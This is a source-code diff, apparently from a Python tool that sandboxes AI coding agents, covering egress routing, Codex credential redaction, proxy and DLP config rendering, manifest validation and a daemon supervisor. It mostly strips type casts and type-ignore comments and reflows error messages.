||||
screen.erase()
|
||||
rows, cols = screen.getmaxyx()
|
||||
min_rows = 5
|
||||
|
||||
if rows < min_rows:
|
||||
raise curses.error("terminal too small")
|
||||
|
||||
row = 0
|
||||
|
||||
if title and row < rows - 1:
|
||||
_addstr_safe(screen, row, 0, title[:cols - 1], curses.A_BOLD)
|
||||
row += 1
|
||||
|
||||
filter_label = f"Filter: {query}"
|
||||
if row < rows - 1:
|
||||
_addstr_safe(screen, row, 0, filter_label[:cols - 1])
|
||||
row += 1
|
||||
|
||||
sep = "─" * min(cols - 1, 40)
|
||||
if row < rows - 1:
|
||||
_addstr_safe(screen, row, 0, sep)
|
||||
row += 1
|
||||
|
||||
list_start = row
|
||||
# Reserve two rows for separator + help line at bottom.
|
||||
list_rows = rows - list_start - 2
|
||||
if list_rows < 1:
|
||||
return
|
||||
|
||||
# Scroll window: keep cursor visible.
|
||||
scroll = max(0, cursor - list_rows + 1)
|
||||
visible = filtered[scroll: scroll + list_rows]
|
||||
|
||||
for idx, item in enumerate(visible):
|
||||
abs_idx = scroll + idx
|
||||
attr = curses.A_REVERSE if abs_idx == cursor else curses.A_NORMAL
|
||||
prefix = "> " if abs_idx == cursor else " "
|
||||
line = (prefix + item)[:cols - 1]
|
||||
if row < rows - 1:
|
||||
_addstr_safe(screen, row, 0, line, attr)
|
||||
row += 1
|
||||
|
||||
if row < rows - 1:
|
||||
_addstr_safe(screen, row, 0, sep)
|
||||
row += 1
|
||||
|
||||
help_line = "[↑↓/jk] move [Enter] select [Esc/q] cancel"
|
||||
if row < rows:
|
||||
_addstr_safe(screen, min(rows - 1, row), 0, help_line[:cols - 1])
|
||||
|
||||
screen.refresh()
|
||||
|
||||
|
||||
def _addstr_safe(screen: Any, row: int, col: int, text: str, attr: int = curses.A_NORMAL) -> None:
|
||||
try:
|
||||
screen.addstr(row, col, text, attr)
|
||||
except curses.error:
|
||||
pass
|
||||
@@ -13,10 +13,9 @@ import os
|
||||
from copy import deepcopy
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import cast
|
||||
|
||||
from bot_bottle.log import die
|
||||
from bot_bottle.util import expand_tilde
|
||||
from .log import die
|
||||
from .util import expand_tilde
|
||||
|
||||
|
||||
def codex_auth_path(host_env: dict[str, str] | None = None) -> Path:
|
||||
@@ -51,8 +50,7 @@ def codex_host_access_token(
|
||||
tokens = raw.get("tokens")
|
||||
if not isinstance(tokens, dict):
|
||||
die(f"codex host credentials: {path} is missing tokens")
|
||||
tokens_typed = cast(dict[str, object], tokens)
|
||||
access = tokens_typed.get("access_token")
|
||||
access = tokens.get("access_token")
|
||||
if not isinstance(access, str) or not access:
|
||||
die(
|
||||
f"codex host credentials: {path} is missing tokens.access_token. "
|
||||
@@ -107,14 +105,14 @@ def write_codex_dummy_auth_file(
|
||||
path.chmod(0o600)
|
||||
|
||||
|
||||
def _read_auth_object(path: Path) -> dict[str, object]:
|
||||
def _read_auth_object(path: Path) -> dict:
|
||||
try:
|
||||
raw = json.loads(path.read_text())
|
||||
except (OSError, json.JSONDecodeError) as e:
|
||||
die(f"codex host credentials: could not read valid JSON at {path}: {e}")
|
||||
if not isinstance(raw, dict):
|
||||
die(f"codex host credentials: {path} must contain a JSON object")
|
||||
return cast(dict[str, object], raw)
|
||||
return raw
|
||||
|
||||
|
||||
def _dummy_exp(now: datetime | None, exp_ts: int | None) -> int:
|
||||
@@ -153,13 +151,11 @@ def _dummy_jwt_from_host(
|
||||
return _dummy_jwt(now, exp_ts=exp_ts)
|
||||
if not isinstance(payload, dict):
|
||||
return _dummy_jwt(now, exp_ts=exp_ts)
|
||||
return _encode_dummy_jwt(
|
||||
_redact_jwt_payload(cast(dict[str, object], payload), now=now, exp_ts=exp_ts)
|
||||
)
|
||||
return _encode_dummy_jwt(_redact_jwt_payload(payload, now=now, exp_ts=exp_ts))
|
||||
|
||||
|
||||
def _encode_dummy_jwt(payload: dict[str, object]) -> str:
|
||||
def enc(obj: dict[str, object]) -> str:
|
||||
def _encode_dummy_jwt(payload: dict) -> str:
|
||||
def enc(obj: dict) -> str:
|
||||
raw = json.dumps(obj, separators=(",", ":")).encode()
|
||||
return base64.urlsafe_b64encode(raw).decode().rstrip("=")
|
||||
|
||||
@@ -167,24 +163,23 @@ def _encode_dummy_jwt(payload: dict[str, object]) -> str:
|
||||
|
||||
|
||||
def _redact_jwt_payload(
|
||||
payload: dict[str, object],
|
||||
payload: dict,
|
||||
*,
|
||||
now: datetime | None = None,
|
||||
exp_ts: int | None = None,
|
||||
) -> dict[str, object]:
|
||||
) -> dict:
|
||||
out = _redact_claims(payload)
|
||||
if not isinstance(out, dict):
|
||||
out = {}
|
||||
out_typed: dict[str, object] = cast(dict[str, object], out)
|
||||
out_typed["exp"] = _dummy_exp(now, exp_ts)
|
||||
out_typed.setdefault("sub", "bot-bottle-placeholder")
|
||||
return out_typed
|
||||
out["exp"] = _dummy_exp(now, exp_ts)
|
||||
out.setdefault("sub", "bot-bottle-placeholder")
|
||||
return out
|
||||
|
||||
|
||||
def _redact_claims(value: object) -> object:
|
||||
if isinstance(value, dict):
|
||||
out: dict[str, object] = {}
|
||||
for key, inner in cast(dict[str, object], value).items():
|
||||
for key, inner in value.items():
|
||||
lower = key.lower()
|
||||
if key == "https://api.openai.com/profile":
|
||||
out[key] = _redact_profile_claim(inner)
|
||||
@@ -212,16 +207,16 @@ def _redact_claims(value: object) -> object:
|
||||
return "bot-bottle-placeholder"
|
||||
|
||||
|
||||
def _redact_profile_claim(value: object) -> dict[str, object]:
|
||||
profile = cast(dict[str, object], value) if isinstance(value, dict) else {}
|
||||
def _redact_profile_claim(value: object) -> dict:
|
||||
profile = value if isinstance(value, dict) else {}
|
||||
return {
|
||||
"email": "bot-bottle@example.invalid",
|
||||
"email_verified": bool(profile.get("email_verified", True)),
|
||||
}
|
||||
|
||||
|
||||
def _redact_auth_claim(value: object) -> dict[str, object]:
|
||||
auth = cast(dict[str, object], value) if isinstance(value, dict) else {}
|
||||
def _redact_auth_claim(value: object) -> dict:
|
||||
auth = value if isinstance(value, dict) else {}
|
||||
out: dict[str, object] = {}
|
||||
for key, inner in auth.items():
|
||||
lower = key.lower()
|
||||
@@ -252,7 +247,7 @@ def _redact_auth_claim(value: object) -> dict[str, object]:
|
||||
def _redact_codex_auth(
|
||||
value: object, *, now: datetime | None = None, exp_ts: int | None = None,
|
||||
) -> object:
|
||||
auth = cast(dict[str, object], value) if isinstance(value, dict) else {}
|
||||
auth = value if isinstance(value, dict) else {}
|
||||
out: dict[str, object] = {}
|
||||
for key, inner in auth.items():
|
||||
lower = key.lower()
|
||||
@@ -274,7 +269,7 @@ def _redact_codex_auth(
|
||||
def _redact_token_block(
|
||||
value: object, *, now: datetime | None = None, exp_ts: int | None = None,
|
||||
) -> dict[str, object]:
|
||||
tokens = cast(dict[str, object], value) if isinstance(value, dict) else {}
|
||||
tokens = value if isinstance(value, dict) else {}
|
||||
out: dict[str, object] = {}
|
||||
for key, inner in tokens.items():
|
||||
lower = key.lower()
|
||||
@@ -311,7 +306,7 @@ def _jwt_exp(token: str) -> datetime | None:
|
||||
return None
|
||||
if not isinstance(payload, dict):
|
||||
return None
|
||||
exp = cast(dict[str, object], payload).get("exp")
|
||||
exp = payload.get("exp")
|
||||
if not isinstance(exp, (int, float)):
|
||||
return None
|
||||
return datetime.fromtimestamp(exp, timezone.utc)
|
||||
@@ -144,7 +144,7 @@ class ClaudeAgentProvider(AgentProvider):
|
||||
prompt (drives `--append-system-prompt-file`); the file is
|
||||
copied either way so the path always exists."""
|
||||
prompt_path = _prompt_path(plan.guest_home)
|
||||
bottle.cp_in(str(plan.prompt_file), prompt_path) # type: ignore
|
||||
bottle.cp_in(str(plan.prompt_file), prompt_path)
|
||||
bottle.exec(
|
||||
f"chown node:node {prompt_path} && chmod 600 {prompt_path}",
|
||||
user="root",
|
||||
|
||||
@@ -23,7 +23,7 @@ from ...agent_provider import (
|
||||
AgentProvisionFile,
|
||||
AgentProvisionPlan,
|
||||
)
|
||||
from .codex_auth import codex_host_access_token, write_codex_dummy_auth_file
|
||||
from ...codex_auth import codex_host_access_token, write_codex_dummy_auth_file
|
||||
from ...egress import CODEX_HOST_CREDENTIAL_TOKEN_REF, EgressRoute
|
||||
from ...log import die, info, warn
|
||||
|
||||
@@ -189,7 +189,7 @@ class CodexAgentProvider(AgentProvider):
|
||||
instructions in <path>.` bootstrap (see `prompt_args`); the
|
||||
file is copied either way so the path always exists."""
|
||||
prompt_path = _prompt_path(plan.guest_home)
|
||||
bottle.cp_in(str(plan.prompt_file), prompt_path) # type: ignore
|
||||
bottle.cp_in(str(plan.prompt_file), prompt_path)
|
||||
bottle.exec(
|
||||
f"chown node:node {prompt_path} && chmod 600 {prompt_path}",
|
||||
user="root",
|
||||
|
||||
@@ -117,5 +117,5 @@ def _split_owner_repo(owner_repo: str) -> tuple[str, str]:
|
||||
def _read_error_body(exc: urllib.error.HTTPError) -> str:
|
||||
try:
|
||||
return exc.read().decode("utf-8", errors="replace")
|
||||
except Exception: # noqa: broad-exception-caught — safely fallback to empty error message
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
@@ -25,7 +25,7 @@ flow (PRD 0014) at egress and renames the MCP tool.
|
||||
from __future__ import annotations
|
||||
|
||||
import dataclasses
|
||||
from abc import ABC
|
||||
from abc import ABC, abstractmethod
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import TYPE_CHECKING
|
||||
@@ -216,14 +216,14 @@ def egress_token_env_map(
|
||||
return out
|
||||
|
||||
|
||||
def _route_to_yaml_fields(r: Route) -> dict[str, object]:
|
||||
def _route_to_yaml_fields(r: Route) -> dict:
|
||||
"""Return the addon-visible fields for one route.
|
||||
|
||||
Single authoritative mapping between EgressRoute (host-side) and
|
||||
egress_addon_core.Route (sidecar-side). When a field is added to
|
||||
the addon's Route that must appear in the YAML, add it here and
|
||||
in egress_addon_core._parse_one together."""
|
||||
fields: dict[str, object] = {"host": r.host}
|
||||
fields: dict = {"host": r.host}
|
||||
if r.auth_scheme and r.token_env:
|
||||
fields["auth_scheme"] = r.auth_scheme
|
||||
fields["token_env"] = r.token_env
|
||||
@@ -252,7 +252,7 @@ def egress_render_routes(
|
||||
lines.append(f' token_env: "{f["token_env"]}"')
|
||||
if "path_allowlist" in f:
|
||||
lines.append(" path_allowlist:")
|
||||
for p in f["path_allowlist"]: # type: ignore
|
||||
for p in f["path_allowlist"]:
|
||||
lines.append(f' - "{p}"')
|
||||
return "\n".join(lines) + "\n"
|
||||
|
||||
|
||||
@@ -38,12 +38,7 @@ from mitmproxy import http # type: ignore[import-not-found]
|
||||
# Absolute import (NOT `from .egress_addon_core`) — the
|
||||
# container drops both files flat into /app/ so they are sibling
|
||||
# top-level modules to mitmdump's loader, not a package.
|
||||
from egress_addon_core import ( # type: ignore[import-not-found]
|
||||
Route,
|
||||
decide,
|
||||
is_git_push_request,
|
||||
load_routes,
|
||||
)
|
||||
from egress_addon_core import Route, decide, is_git_push_request, load_routes # type: ignore[import-not-found]
|
||||
|
||||
|
||||
DEFAULT_ROUTES_PATH = "/etc/egress/routes.yaml"
|
||||
|
||||
@@ -78,13 +78,11 @@ def parse_routes(payload: object) -> tuple[Route, ...]:
|
||||
"""
|
||||
if not isinstance(payload, dict):
|
||||
raise ValueError("routes payload: top-level must be an object")
|
||||
payload_dict: dict[str, object] = typing.cast(dict[str, object], payload)
|
||||
raw: object = payload_dict.get("routes")
|
||||
raw = payload.get("routes")
|
||||
if not isinstance(raw, list):
|
||||
raise ValueError("routes payload: 'routes' must be a list")
|
||||
raw_list: list[object] = typing.cast(list[object], raw)
|
||||
out: list[Route] = []
|
||||
for i, r in enumerate(raw_list):
|
||||
for i, r in enumerate(raw):
|
||||
out.append(_parse_one(i, r))
|
||||
return tuple(out)
|
||||
|
||||
@@ -93,17 +91,15 @@ def _parse_one(idx: int, raw: object) -> Route:
|
||||
label = f"route[{idx}]"
|
||||
if not isinstance(raw, dict):
|
||||
raise ValueError(f"{label}: must be an object (got {type(raw).__name__})")
|
||||
raw_dict: dict[str, object] = typing.cast(dict[str, object], raw)
|
||||
host: object = raw_dict.get("host")
|
||||
host = raw.get("host")
|
||||
if not isinstance(host, str) or not host:
|
||||
raise ValueError(f"{label}: 'host' must be a non-empty string")
|
||||
|
||||
path_allow_raw: object = raw_dict.get("path_allowlist", [])
|
||||
path_allow_raw = raw.get("path_allowlist", [])
|
||||
if not isinstance(path_allow_raw, list):
|
||||
raise ValueError(f"{label} ({host}): 'path_allowlist' must be a list")
|
||||
path_allow_list: list[object] = typing.cast(list[object], path_allow_raw)
|
||||
prefixes: list[str] = []
|
||||
for j, p in enumerate(path_allow_list):
|
||||
for j, p in enumerate(path_allow_raw):
|
||||
if not isinstance(p, str):
|
||||
raise ValueError(
|
||||
f"{label} ({host}): path_allowlist[{j}] must be a string"
|
||||
@@ -115,8 +111,8 @@ def _parse_one(idx: int, raw: object) -> Route:
|
||||
)
|
||||
prefixes.append(p)
|
||||
|
||||
auth_scheme: object = raw_dict.get("auth_scheme", "")
|
||||
token_env: object = raw_dict.get("token_env", "")
|
||||
auth_scheme = raw.get("auth_scheme", "")
|
||||
token_env = raw.get("token_env", "")
|
||||
if not isinstance(auth_scheme, str):
|
||||
raise ValueError(f"{label} ({host}): 'auth_scheme' must be a string")
|
||||
if not isinstance(token_env, str):
|
||||
|
||||
+1
-1
@@ -89,7 +89,7 @@ def _read_secret_silent(name: str, prompt_body: str) -> str:
|
||||
if not (sys.stdin.isatty() or sys.stderr.isatty()):
|
||||
# Fall back to /dev/tty so this still works when stdin is a pipe.
|
||||
try:
|
||||
tty = open("/dev/tty", "r+", encoding="utf-8")
|
||||
tty = open("/dev/tty", "r+")
|
||||
except OSError:
|
||||
die(
|
||||
f"cannot prompt for secret '{name}': no tty available. "
|
||||
|
||||
@@ -32,7 +32,7 @@ from __future__ import annotations
|
||||
import dataclasses
|
||||
import os
|
||||
import shlex
|
||||
from abc import ABC
|
||||
from abc import ABC, abstractmethod
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
@@ -78,8 +78,8 @@ class GitHttpHandler(BaseHTTPRequestHandler):
|
||||
"REMOTE_ADDR": self.client_address[0],
|
||||
"REMOTE_PORT": str(self.client_address[1]),
|
||||
"REMOTE_USER": "",
|
||||
"SERVER_NAME": self.server.server_name, # type: ignore
|
||||
"SERVER_PORT": str(self.server.server_port), # type: ignore
|
||||
"SERVER_NAME": self.server.server_name,
|
||||
"SERVER_PORT": str(self.server.server_port),
|
||||
"SERVER_PROTOCOL": self.request_version,
|
||||
})
|
||||
for header, variable in (
|
||||
@@ -157,8 +157,8 @@ class GitHttpHandler(BaseHTTPRequestHandler):
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
def log_message(self, format: str, *args: object) -> None: # type: ignore # noqa: A002
|
||||
sys.stdout.write(format % args + "\n")
|
||||
def log_message(self, fmt: str, *args: object) -> None:
|
||||
sys.stdout.write(fmt % args + "\n")
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
|
||||
@@ -57,6 +57,7 @@ from .manifest_egress import (
|
||||
EgressConfig,
|
||||
EgressRoute,
|
||||
PipelockRoutePolicy,
|
||||
validate_egress_routes,
|
||||
)
|
||||
from .manifest_git import GitEntry, GitUser, parse_git_gate_config
|
||||
from .manifest_schema import BOTTLE_KEYS
|
||||
@@ -322,11 +323,8 @@ class Manifest:
|
||||
return
|
||||
available = ", ".join(self.agents.keys())
|
||||
if available:
|
||||
msg = f"agent '{name}' not defined in bot-bottle.json. Available: {available}"
|
||||
raise ManifestError(msg)
|
||||
raise ManifestError(
|
||||
f"agent '{name}' not defined in bot-bottle.json (manifest is empty)."
|
||||
)
|
||||
raise ManifestError(f"agent '{name}' not defined in bot-bottle.json. Available: {available}")
|
||||
raise ManifestError(f"agent '{name}' not defined in bot-bottle.json (manifest is empty).")
|
||||
|
||||
def has_bottle(self, name: str) -> bool:
|
||||
return name in self.bottles
|
||||
|
||||
@@ -114,10 +114,7 @@ class Agent:
|
||||
|
||||
bottle = d.get("bottle")
|
||||
if not isinstance(bottle, str) or not bottle:
|
||||
raise ManifestError(
|
||||
f"agent '{name}' must declare a 'bottle' field naming a "
|
||||
f"defined bottle"
|
||||
)
|
||||
raise ManifestError(f"agent '{name}' must declare a 'bottle' field naming a defined bottle")
|
||||
if bottle not in bottle_names:
|
||||
available = ", ".join(sorted(bottle_names)) or "(none defined)"
|
||||
raise ManifestError(
|
||||
@@ -129,10 +126,7 @@ class Agent:
|
||||
skills_raw = d.get("skills")
|
||||
if skills_raw is not None:
|
||||
if not isinstance(skills_raw, list):
|
||||
raise ManifestError(
|
||||
f"agent '{name}' skills must be an array "
|
||||
f"(was {type(skills_raw).__name__})"
|
||||
)
|
||||
raise ManifestError(f"agent '{name}' skills must be an array (was {type(skills_raw).__name__})")
|
||||
collected: list[str] = []
|
||||
skills_list = cast(list[object], skills_raw)
|
||||
for i, skill in enumerate(skills_list):
|
||||
@@ -150,10 +144,7 @@ class Agent:
|
||||
elif isinstance(prompt_raw, str):
|
||||
prompt = prompt_raw
|
||||
else:
|
||||
raise ManifestError(
|
||||
f"agent '{name}' prompt must be a string "
|
||||
f"(was {type(prompt_raw).__name__})"
|
||||
)
|
||||
raise ManifestError(f"agent '{name}' prompt must be a string (was {type(prompt_raw).__name__})")
|
||||
|
||||
# git-gate: agents may declare only `git-gate.user` (name/email).
|
||||
# `git-gate.repos` is bottle-only — it carries credentials and host trust.
|
||||
|
||||
@@ -93,7 +93,7 @@ class PipelockRoutePolicy:
|
||||
raise ManifestError(
|
||||
f"{label}.ssrf_ip_allowlist[{j}] must be an IP address "
|
||||
f"or CIDR (was {item!r}): {e}"
|
||||
) from e
|
||||
)
|
||||
ssrf_ip_allowlist.append(item)
|
||||
return cls(
|
||||
TlsPassthrough=tls_passthrough_raw,
|
||||
@@ -214,8 +214,7 @@ class EgressRoute:
|
||||
collected_roles: list[str] = []
|
||||
for r in role_list:
|
||||
if not isinstance(r, str):
|
||||
msg = f"{label} role items must be strings (got {type(r).__name__})"
|
||||
raise ManifestError(msg)
|
||||
raise ManifestError(f"{label} role items must be strings (got {type(r).__name__})")
|
||||
collected_roles.append(r)
|
||||
roles = tuple(collected_roles)
|
||||
else:
|
||||
|
||||
@@ -30,18 +30,12 @@ def parse_git_upstream(url: str, label: str) -> tuple[str, str, str, str]:
|
||||
raise ManifestError(f"{label} must be an ssh:// URL (was {url!r})")
|
||||
rest = url[len("ssh://"):]
|
||||
if "@" not in rest:
|
||||
raise ManifestError(
|
||||
f"{label} must include a user (e.g. ssh://git@host/path.git); "
|
||||
f"was {url!r}"
|
||||
)
|
||||
raise ManifestError(f"{label} must include a user (e.g. ssh://git@host/path.git); was {url!r}")
|
||||
user, _, hostpart = rest.partition("@")
|
||||
if not user:
|
||||
raise ManifestError(f"{label} user is empty in {url!r}")
|
||||
if "/" not in hostpart:
|
||||
raise ManifestError(
|
||||
f"{label} must include a path (e.g. ssh://git@host/path.git); "
|
||||
f"was {url!r}"
|
||||
)
|
||||
raise ManifestError(f"{label} must include a path (e.g. ssh://git@host/path.git); was {url!r}")
|
||||
hostport, _, path = hostpart.partition("/")
|
||||
if not path:
|
||||
raise ManifestError(f"{label} path is empty in {url!r}")
|
||||
|
||||
@@ -54,9 +54,9 @@ def load_bottles_from_dir(bottles_dir: Path) -> dict[str, Bottle]:
|
||||
try:
|
||||
fm, _body = parse_frontmatter(path.read_text())
|
||||
except OSError as e:
|
||||
raise ManifestError(f"could not read {path}: {e}") from e
|
||||
raise ManifestError(f"could not read {path}: {e}")
|
||||
except YamlSubsetError as e:
|
||||
raise ManifestError(f"{path}: {e}") from e
|
||||
raise ManifestError(f"{path}: {e}")
|
||||
validate_bottle_frontmatter_keys(path, fm.keys())
|
||||
raws[name] = fm
|
||||
return resolve_bottles(raws)
|
||||
@@ -66,7 +66,7 @@ def load_agents_from_dir(
|
||||
agents_dir: Path,
|
||||
bottle_names: set[str],
|
||||
*,
|
||||
source: str, # noqa: F841 — unused, but required by interface
|
||||
source: str,
|
||||
) -> dict[str, Agent]:
|
||||
"""Walk `<agents_dir>/*.md`, parse each as an agent, and return
|
||||
`{name: Agent}`. The Markdown body becomes the agent's prompt.
|
||||
@@ -87,9 +87,9 @@ def load_agents_from_dir(
|
||||
try:
|
||||
fm, body = parse_frontmatter(path.read_text())
|
||||
except OSError as e:
|
||||
raise ManifestError(f"could not read {path}: {e}") from e
|
||||
raise ManifestError(f"could not read {path}: {e}")
|
||||
except YamlSubsetError as e:
|
||||
raise ManifestError(f"{path}: {e}") from e
|
||||
raise ManifestError(f"{path}: {e}")
|
||||
validate_agent_frontmatter_keys(path, fm.keys())
|
||||
# Build the dict Agent.from_dict expects. The body becomes
|
||||
# prompt; Claude Code passthrough fields stay in fm and get
|
||||
|
||||
@@ -60,11 +60,11 @@ def _validate_frontmatter_keys(
|
||||
) -> None:
|
||||
from .manifest_util import ManifestError
|
||||
|
||||
key_set = set(keys) # type: ignore
|
||||
unknown = key_set - allowed_keys # type: ignore
|
||||
key_set = set(keys)
|
||||
unknown = key_set - allowed_keys
|
||||
if unknown:
|
||||
allowed = ", ".join(sorted(allowed_keys))
|
||||
raise ManifestError(
|
||||
f"{kind} file {path}: unknown frontmatter key(s) "
|
||||
f"{sorted(unknown)}; allowed keys are {allowed}." # type: ignore
|
||||
f"{sorted(unknown)}; allowed keys are {allowed}."
|
||||
)
|
||||
|
||||
+33
-28
@@ -19,9 +19,8 @@ from __future__ import annotations
|
||||
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import cast
|
||||
|
||||
from .egress import EgressRoute, egress_routes_for_bottle
|
||||
from .egress import EGRESS_HOSTNAME, EgressRoute, egress_routes_for_bottle
|
||||
from .supervise import SUPERVISE_HOSTNAME
|
||||
from .manifest import Bottle
|
||||
|
||||
@@ -260,7 +259,7 @@ def _required_dict(
|
||||
value = obj.get(key)
|
||||
if not isinstance(value, dict):
|
||||
raise _pipelock_render_error(section, key, "a mapping")
|
||||
return cast(dict[str, object], value)
|
||||
return value
|
||||
|
||||
|
||||
def _required_bool(obj: dict[str, object], section: str, key: str) -> bool:
|
||||
@@ -290,12 +289,9 @@ def _required_str_list(
|
||||
key: str,
|
||||
) -> list[str]:
|
||||
value = obj.get(key)
|
||||
if not isinstance(value, list):
|
||||
if not isinstance(value, list) or not all(isinstance(v, str) for v in value):
|
||||
raise _pipelock_render_error(section, key, "a list of strings")
|
||||
value_list = cast(list[object], value)
|
||||
if not all(isinstance(v, str) for v in value_list):
|
||||
raise _pipelock_render_error(section, key, "a list of strings")
|
||||
return cast(list[str], value)
|
||||
return value
|
||||
|
||||
|
||||
def _optional_str_list(
|
||||
@@ -411,42 +407,49 @@ def pipelock_render_yaml(cfg: dict[str, object]) -> str:
|
||||
lines: list[str] = []
|
||||
lines.append(f"version: {cfg['version']}")
|
||||
lines.append(f"mode: {cfg['mode']}")
|
||||
lines.append(f"enforce: {_bool(cast(bool, cfg['enforce']))}")
|
||||
lines.append(f"enforce: {_bool(cfg['enforce'])}")
|
||||
lines.append("")
|
||||
lines.append("api_allowlist:")
|
||||
api_allowlist = cast(list[str], cfg["api_allowlist"])
|
||||
api_allowlist = cfg["api_allowlist"]
|
||||
assert isinstance(api_allowlist, list)
|
||||
for h in api_allowlist:
|
||||
lines.append(f' - "{h}"')
|
||||
lines.append("")
|
||||
if "seed_phrase_detection" in cfg:
|
||||
lines.append("seed_phrase_detection:")
|
||||
spd = cast(dict[str, object], cfg["seed_phrase_detection"])
|
||||
lines.append(f" enabled: {_bool(cast(bool, spd['enabled']))}")
|
||||
spd = cfg["seed_phrase_detection"]
|
||||
assert isinstance(spd, dict)
|
||||
lines.append(f" enabled: {_bool(spd['enabled'])}")
|
||||
lines.append("")
|
||||
lines.append("forward_proxy:")
|
||||
fp = cast(dict[str, object], cfg["forward_proxy"])
|
||||
lines.append(f" enabled: {_bool(cast(bool, fp['enabled']))}")
|
||||
fp = cfg["forward_proxy"]
|
||||
assert isinstance(fp, dict)
|
||||
lines.append(f" enabled: {_bool(fp['enabled'])}")
|
||||
lines.append("")
|
||||
lines.append("dlp:")
|
||||
dlp = cast(dict[str, object], cfg["dlp"])
|
||||
lines.append(f" include_defaults: {_bool(cast(bool, dlp['include_defaults']))}")
|
||||
lines.append(f" scan_env: {_bool(cast(bool, dlp['scan_env']))}")
|
||||
dlp = cfg["dlp"]
|
||||
assert isinstance(dlp, dict)
|
||||
lines.append(f" include_defaults: {_bool(dlp['include_defaults'])}")
|
||||
lines.append(f" scan_env: {_bool(dlp['scan_env'])}")
|
||||
lines.append("")
|
||||
lines.append("request_body_scanning:")
|
||||
rbs = cast(dict[str, object], cfg["request_body_scanning"])
|
||||
lines.append(f' action: "{cast(str, rbs["action"])}"')
|
||||
rbs = cfg["request_body_scanning"]
|
||||
assert isinstance(rbs, dict)
|
||||
lines.append(f' action: "{rbs["action"]}"')
|
||||
if "scan_headers" in rbs:
|
||||
lines.append(f" scan_headers: {_bool(cast(bool, rbs['scan_headers']))}")
|
||||
lines.append(f" scan_headers: {_bool(rbs['scan_headers'])}")
|
||||
if "header_mode" in rbs:
|
||||
lines.append(f' header_mode: "{cast(str, rbs["header_mode"])}"')
|
||||
lines.append(f' header_mode: "{rbs["header_mode"]}"')
|
||||
if "tls_interception" in cfg:
|
||||
lines.append("")
|
||||
lines.append("tls_interception:")
|
||||
tls = cast(dict[str, object], cfg["tls_interception"])
|
||||
lines.append(f" enabled: {_bool(cast(bool, tls['enabled']))}")
|
||||
lines.append(f' ca_cert: "{cast(str, tls["ca_cert"])}"')
|
||||
lines.append(f' ca_key: "{cast(str, tls["ca_key"])}"')
|
||||
passthrough = cast(list[str], tls["passthrough_domains"])
|
||||
tls = cfg["tls_interception"]
|
||||
assert isinstance(tls, dict)
|
||||
lines.append(f" enabled: {_bool(tls['enabled'])}")
|
||||
lines.append(f' ca_cert: "{tls["ca_cert"]}"')
|
||||
lines.append(f' ca_key: "{tls["ca_key"]}"')
|
||||
passthrough = tls["passthrough_domains"]
|
||||
assert isinstance(passthrough, list)
|
||||
if passthrough:
|
||||
lines.append(" passthrough_domains:")
|
||||
for d in passthrough:
|
||||
@@ -454,9 +457,11 @@ def pipelock_render_yaml(cfg: dict[str, object]) -> str:
|
||||
if "ssrf" in cfg:
|
||||
lines.append("")
|
||||
lines.append("ssrf:")
|
||||
ssrf = cast(dict[str, object], cfg["ssrf"])
|
||||
ssrf = cfg["ssrf"]
|
||||
assert isinstance(ssrf, dict)
|
||||
lines.append(" ip_allowlist:")
|
||||
ip_allowlist = cast(list[str], ssrf["ip_allowlist"])
|
||||
ip_allowlist = ssrf["ip_allowlist"]
|
||||
assert isinstance(ip_allowlist, list)
|
||||
for ip in ip_allowlist:
|
||||
lines.append(f' - "{ip}"')
|
||||
return "\n".join(lines) + "\n"
|
||||
|
||||
@@ -138,7 +138,7 @@ def _pump(name: str, stream: IO[bytes]) -> None:
|
||||
sys.stdout.flush()
|
||||
|
||||
|
||||
def _spawn(spec: _DaemonSpec) -> subprocess.Popen[bytes]:
|
||||
def _spawn(spec: _DaemonSpec) -> subprocess.Popen:
|
||||
proc = subprocess.Popen(
|
||||
list(spec.argv),
|
||||
stdout=subprocess.PIPE,
|
||||
@@ -158,7 +158,7 @@ class _Supervisor:
|
||||
|
||||
def __init__(self, specs: Sequence[_DaemonSpec]):
|
||||
self.specs = tuple(specs)
|
||||
self.procs: list[tuple[_DaemonSpec, subprocess.Popen[bytes]]] = []
|
||||
self.procs: list[tuple[_DaemonSpec, subprocess.Popen]] = []
|
||||
self.shutdown_at: float | None = None
|
||||
# Names of children that have been logged as having exited
|
||||
# so we only log each death once across watch-loop ticks.
|
||||
@@ -360,20 +360,20 @@ def main(argv: Sequence[str] | None = None) -> int:
|
||||
sup = _Supervisor(specs)
|
||||
sup.start_all()
|
||||
|
||||
signal.signal(signal.SIGTERM, lambda *_: sup.request_shutdown("SIGTERM")) # type: ignore
|
||||
signal.signal(signal.SIGINT, lambda *_: sup.request_shutdown("SIGINT")) # type: ignore
|
||||
signal.signal(signal.SIGTERM, lambda *_: sup.request_shutdown("SIGTERM"))
|
||||
signal.signal(signal.SIGINT, lambda *_: sup.request_shutdown("SIGINT"))
|
||||
# SIGHUP reload path: egress_apply.py runs `docker kill
|
||||
# --signal HUP <bundle>` after writing routes.yaml. The kernel
|
||||
# delivers SIGHUP to PID 1 (this supervisor); forward it to
|
||||
# mitmdump so it reloads its addon.
|
||||
signal.signal(signal.SIGHUP, lambda *_: sup.forward_signal(signal.SIGHUP, "egress")) # type: ignore
|
||||
signal.signal(signal.SIGHUP, lambda *_: sup.forward_signal(signal.SIGHUP, "egress"))
|
||||
# SIGUSR1 pipelock-restart path: pipelock_apply.py runs
|
||||
# `docker kill --signal USR1 <bundle>` after writing
|
||||
# pipelock.yaml. Pipelock has no in-process reload, so the
|
||||
# supervisor restarts the pipelock daemon in place (other
|
||||
# daemons keep running — specifically supervise, whose MCP
|
||||
# socket would drop on a whole-container `docker restart`).
|
||||
signal.signal(signal.SIGUSR1, lambda *_: sup.request_restart("pipelock")) # type: ignore
|
||||
signal.signal(signal.SIGUSR1, lambda *_: sup.request_restart("pipelock"))
|
||||
|
||||
while not sup.tick():
|
||||
time.sleep(_POLL_INTERVAL)
|
||||
|
||||
@@ -40,7 +40,7 @@ import json
|
||||
import os
|
||||
import time
|
||||
import uuid
|
||||
from abc import ABC
|
||||
from abc import ABC, abstractmethod
|
||||
from dataclasses import dataclass
|
||||
from datetime import datetime, timezone
